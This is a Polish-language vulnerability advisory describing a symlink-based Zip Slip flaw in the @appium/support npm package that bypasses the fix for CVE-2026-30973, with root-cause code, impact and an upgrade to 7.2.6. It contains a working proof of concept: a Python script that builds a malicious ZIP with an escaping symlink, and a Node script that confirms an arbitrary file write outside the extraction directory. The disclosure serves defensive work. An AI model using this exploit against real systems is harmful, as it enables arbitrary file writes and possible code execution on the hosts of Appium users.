Appium: Podatność Zip Slip oparta na dowiązaniach symbolicznych w module rozpakowywania ZIP @appium/support
Podsumowanie
CVE-2026-30973 (GHSA-rfx7-4xw3-gh4m) dotyczyło prostej podatności path traversal w nazwie wpisu. Sprawdzenie ścieżki tworzyło obiekt błędu bez jego zgłoszenia (throw), przez co wpis o nazwie dosłownie przypominającej ../evil.txt był zapisywany poza katalogiem docelowym. Problem ten naprawiono w @appium/support 7.0.6 poprzez właściwe odrzucanie nazw wpisów wykraczających poza wyznaczony katalog.
Niniejsze zgłoszenie dotyczy innego wektora, którego poprawka z 7.0.6 nie obejmuje. Nazwy wpisów archiwum są w tym przypadku całkowicie poprawne (na przykład pwn oraz pwn/owned.txt, brak ..), przez co wszelkie zabezpieczenia weryfikujące nazwy je akceptują. Ucieczka z katalogu następuje za pośrednictwem dowiązania symbolicznego (symlink). Jeden wpis to symlink wskazujący cel poza katalogiem rozpakowywania, a kolejny wpis to zwykły plik, którego ścieżka rozwiązuje się przez to dowiązanie. Weryfikacja leksykalna nazw wpisów nigdy nie bada celu dowiązania symbolicznego, a narzędzie rozpakowujące tworzy symlink z celem pobranym dosłownie z archiwum, co powoduje zapisanie pliku poza katalogiem docelowym.
Porównanie obu problemów na tej samej załatanej wersji 7.2.5:
| CVE-2026-30973 | To zgłoszenie | |
|---|---|---|
| Wektor | jeden wpis, którego nazwa zawiera .. |
wpis z dowiązaniem symbolicznym plus plik zapisywany przez nie |
| Nazwy wpisów | zawierają .. (niedozwolone) |
prawidłowe, brak .. i nie są bezwzględne |
| Czego zabrakło | sprawdzenie nazwy w .. nie zgłaszało błędu |
weryfikacja nazw nie rozwiązuje symlinków, a cel dowiązania nie jest sprawdzany |
| Wymagana liczba wpisów | jeden | dwa |
| Naprawiono w 7.0.6 | tak | nie |
| Status w 7.2.5 | zablokowane | nadal podatne (dowiedzione poniżej) |
Szczegóły
Przyczyna źródłowa
Ekstraktor stosuje jedynie leksykalne sprawdzanie poprawności ścieżki dla nazwy każdego wpisu, a w przypadku dowiązania symbolicznego tworzy je z celem pobranym bezpośrednio z archiwum:
// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5
97 if (!isSubPath(dest, dir)) { // lexical only, never resolves symlinks
98 throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`);
99 }
...
142 await fs.symlink(link, dest); // link target comes verbatim from the archive
isSubPath porównuje znormalizowane ciągi znaków i nie wywołuje realpath, dlatego dla wpisu pliku pwn/owned.txt ścieżka docelowa dir/pwn/owned.txt znajduje się leksykalnie wewnątrz dir, co pozwala na przejście testu. Dzieje się tak pomimo tego, że dir/pwn to symlink utworzony przez poprzedni wpis i wskazujący na zewnątrz dir. Zapis podąża za tym dowiązaniem i wykracza poza katalog docelowy. Cel dowiązania symbolicznego nigdy nie jest weryfikowany pod kątem katalogu rozpakowywania.
PoC
<img width="1443" height="411" alt="image" src="https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a" />build_zips.py
#!/usr/bin/env python3
import os, sys, zipfile, shutil
work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork"
pid = os.getpid()
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)
# Test A: CVE-2026-30973 plain "../" path traversal in the entry name
extractA = os.path.join(work, "extractA"); os.makedirs(extractA)
escapeA_name = f"escapeA_{pid}.txt" # would land in work/ (outside extractA)
escapeA = os.path.join(work, escapeA_name)
zipA = os.path.join(work, "cve_vector.zip")
with zipfile.ZipFile(zipA, "w") as z:
z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n")
# Test B: symlink entry whose target escapes, then a file through it
extractB = os.path.join(work, "extractB"); os.makedirs(extractB)
escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
sl = zipfile.ZipInfo("pwn")
sl.create_system = 3 # unix, so external_attr carries the mode
sl.external_attr = (0o120777 & 0xFFFF) << 16 # S_IFLNK | 0777
z.writestr(sl, escapeB) # symlink target is the file body
fi = zipfile.ZipInfo("pwn/owned.txt")
fi.create_system = 3
fi.external_attr = (0o100644 & 0xFFFF) << 16
z.writestr(fi, "PWNED via symlink Zip Slip\n")
print("\t".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))
zipslip_poc.js
'use strict';
const fs = require('fs');
const path = require('path');
const support = require('@appium/support');
const [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;
(async () => {
const ver = require('@appium/support/package.json').version;
console.log(`[*] @appium/support version: ${ver}`);
console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);
// Test A: the CVE-2026-30973 vector
console.log('\n=== Test A: CVE-2026-30973 plain "../" entry name ===');
let aBlocked = false;
try {
await support.zip.extractAllTo(zipA, extractA);
} catch (e) {
aBlocked = true;
console.log(`[+] REJECTED by extractor: ${String(e.message).split('\n')[0]}`);
}
const aEscaped = fs.existsSync(escapeA);
console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`);
// Test B: this finding, the symlink bypass
console.log('\n=== Test B: symlink entry + file written through it (this finding) ===');
try {
await support.zip.extractAllTo(zipB, extractB);
} catch (e) {
console.log(`[i] extractor message: ${String(e.message).split('\n')[0]}`);
}
const planted = path.join(escapeB, 'owned.txt');
const bEscaped = fs.existsSync(planted);
if (bEscaped) {
console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED');
console.log(` wrote : ${planted}`);
console.log(` content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`);
} else {
console.log('[-] symlink vector did not escape');
}
console.log('\n=== SUMMARY (same installed version) ===');
console.log(`A CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`);
console.log(`B symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`);
process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2);
})().catch((e) => {
console.error('ERROR', e);
process.exit(3);
});
use
Wpływ
Atakujący mający kontrolę nad archiwum rozpakowywanym przez Appium może zapisywać pliki w dowolnych lokalizacjach z prawem do zapisu dla procesu Appium, ponieważ zapis podąża za dowiązaniem symbolicznym do dowolnego wskazanego celu. W zależności od środowiska uruchomieniowego Appium może to doprowadzić do nadpisania pliku konfiguracyjnego, umieszczenia skryptu w lokalizacji startowej lub profilu, bądź podmienienia pliku binarnego w ścieżce PATH, co może eskalować do wykonania dowolnego kodu. W środowiskach CI (Continuous Integration) lub farmach urządzeń dostępne ścieżki obejmują wszystko, do czego uprawnienia zapisu posiada konto usługi.
Co trzeba zrobić
Zaktualizuj pakiet @appium/support do wersji 7.2.6 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | @appium/support | < 7.2.6 | 7.2.6 |
Odnośniki
- https://github.com/appium/appium/security/advisories/GHSA-qfxx-c367-67f8
- https://nvd.nist.gov/vuln/detail/CVE-2026-103975
- https://github.com/appium/appium/pull/22436
- https://github.com/appium/appium/commit/d9eb36f413153e28b04b92d8ce4447da270371c0
- https://github.com/appium/appium
- https://github.com/appium/appium/releases/tag/@appium/support@7.2.6
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N- Słabość (CWE)
CWE-59- Platforma
- npm
- Paczka
@appium/support- Ujawniono
- 15.10.2026
- Aktualizacja
- 20.10.2026 08:34
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-qfxx-c367-67f8 - CC BY 4.0
Historia podatności: @appium/support
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 2
- Pierwsza → ostatnia
- 03.2026 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Średnia 2
Ujawnienia w latach
- 2026: 2
-
Appium: Podatność Zip Slip oparta na dowiązaniach symbolicznych w module rozpakowywania ZIP @appium/support ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.